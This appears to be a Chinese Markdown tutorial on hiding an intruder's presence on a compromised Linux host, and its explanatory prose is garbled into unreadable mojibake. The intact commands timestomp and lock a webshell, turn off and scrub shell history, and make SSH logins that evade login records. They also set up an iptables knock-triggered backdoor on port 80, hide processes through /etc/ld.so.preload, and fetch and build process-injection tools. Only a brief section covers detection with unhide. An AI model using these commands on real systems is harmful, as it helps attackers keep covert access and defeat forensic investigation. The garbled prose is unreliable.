Home Explore Help
Register Sign In
mei_you_ni_dong
/
project_doc
2
0
Fork 0
Files Issues 0 Pull Requests 0 Wiki
Tree: eb853058b2
Branches Tags
project_doc
/
服务器安全
/
第03章：权限维持篇
/
第3篇：Linux权限维持--隐藏篇.md

第3篇：Linux权限维持--隐藏篇.md 5.9 KB
History Raw

0x00 ǰ

ڻȡȨ޺󣬻ͨһЩԼټͺļĽLinuxµļؼ

0x01 ļ

Linux ´һļtouch .test.txt

touch Դһļļǰһ ʹļ,ͼ

һLinuxµĿ¼ʹls -lDz鿴ģֻܲ鿴ļļУ鿴LinuxµļҪõls -al

ǿԿ/tmp£ĬϴڶĿ¼ЩĿ¼Ƕļĵط/temp/.ICE-unix//temp/.Test-unix//temp/.X11-unix//temp/.XIM-unix/

0x02 ļʱ

Unix ²غűҪ޸ʱ䣬ױֱ֣ touch Ϳˡ

ο index.php ʱ䣬ٸ webshell.phpļʱһˡ

÷

touch -r index.php webshell.php

ֱӽʱ޸ijijijijա 2014 01 02 ա

touch -t 1401021042.30 webshell.php

0x03 Ȩ

LinuxУʹchattrֹrootûɾ޸ҪļĿ¼Ȩls -lDz鿴ģӶﵽȨ޵Ŀġ

ɳںţһЩĺļܶѸеͷۡ

chattr +i evil.php ļ
lsattr  evil.php   Բ鿴
chattr -i evil.php 
rm -rf 1.evil.php  ɾļ

0x04 ʷ

shellִеϣ¼ʷУlinuxп޺۲ģʽأ

һֻĹرʷ¼

[space]set +o history
ע[space] ʾո񡣲ڿոԵʣҲᱻ¼

ʱʷܣζִ֮ев¼ʷУȻ֮ǰжԭ¼ʷбС

Ҫ¿ʷܣִ

[Space]set -o history
ָԭ״ҲĹִ֮ʷС

ɶʷ¼ɾָ

ʷ¼ѾһЩ㲻ϣ¼ô죿ܼ򵥡ͨɾ

history | grep "keyword"

ʷ¼ƥÿһǰи֡ʷ¼ɾǸָ

history -d [num]

ּǹؼ¼ɾǿԱ㣬ǰ150û¼150Ժǹ߲¼ǿֻIJɾۼʷ¼ֻǰ150У

sed -i '150,$d' .bash_history

0x05 ԶSSH½¼

#¼ϵͳᱻwwholastָ⵽

ssh -T root@127.0.0.1 /bin/bash -i

¼sshԿڱ.sshĿ¼

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash Ci

0x06 ˿ڸ

ͨ˿ڸﵽض˿ڵĿģLinux£ʵֶ˿ڸأ

һַʽͨSSLHͬһ˿ϹSSHHTTPS

 #װSSLH
 sudo apt-get install sslh
 #SSLH
 ༭ SSLH ļ
 sudo vi /etc/default/sslh
 1ҵУRun=no  ޸ΪRun=yes
 2޸ SSLH пýӿ˿ 443
 DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

ڶַʽIPTablesж˿ڸ

# ˿ڸ
iptables -t nat -N LETMEIN
# ˿ڸù
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# رտ
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

÷ʽ

#
echo threathuntercoming | socat - tcp:192.168.28.128:80
#sshʹ80˿ڽе¼
ssh -p 80 root@192.168.28.128
#رո
echo threathunterleaving | socat - tcp:192.168.28.128:80

Զң IPTables ж˿ڸ

0x07

Ա޷ͨ߲ҵеḶ̌ӶﵽĿģʵֽء

һַlibprocesshider

githubĿַhttps://github.com/gianlucaborello/libprocesshider

LD_PRELOAD ʵϵͳĽٳ֣ʵ

# س
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/ && make
# ƶļ/usr/local/lib/Ŀ¼
cp libprocesshider.so /usr/local/lib/
# صȫֶ̬Ӿ
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

ԣ evil_script.py

ʱtop ps ж޷ҵ evil_script.py cpu ʹʸ,ȴҲκռcpuߵij

LinuxзصḶ̌

unhide һСɵȡ֤ߣܹЩrootkitLKMصĽ̺TCP / UDP˿ڡLinuxUNIX࣬MS-WindowsȲϵͳ¶Թ

صַhttp://www.unhide-forensics.info/

# װ
sudo yum install unhide
# ʹ
unhide [options] test_list

ʹunhide procؽevil_script.pyͼʾ

ڶַע빤linux-inject

linux-injectڽעLinux̵Ĺ

githubĿַ https://github.com/gaffe23/linux-inject.git

# س
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject && make
# Խ
./sample-target
# ע
./inject -n sample-target sample-library.so

֤עɹͼʾ

CymothoaһصĺŹߡͨĿԾĽע룬ӶȡԭͬȨޡùŵDzµḶ̌ױ֡

صַhttps://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/

# ؽѹ
wget https://jaist.dl.sourceforge.net/project/cymothoa/cymothoa-1-beta/cymothoa-1-beta.tar.gz
tar zxvf cymothoa-1-beta.tar.gz 
# 
cd cymothoa-1-beta && make

0x07

ҪLinuxµļؼļȨޡʷ˿ڸáصȷļɡש֮ãӭԷ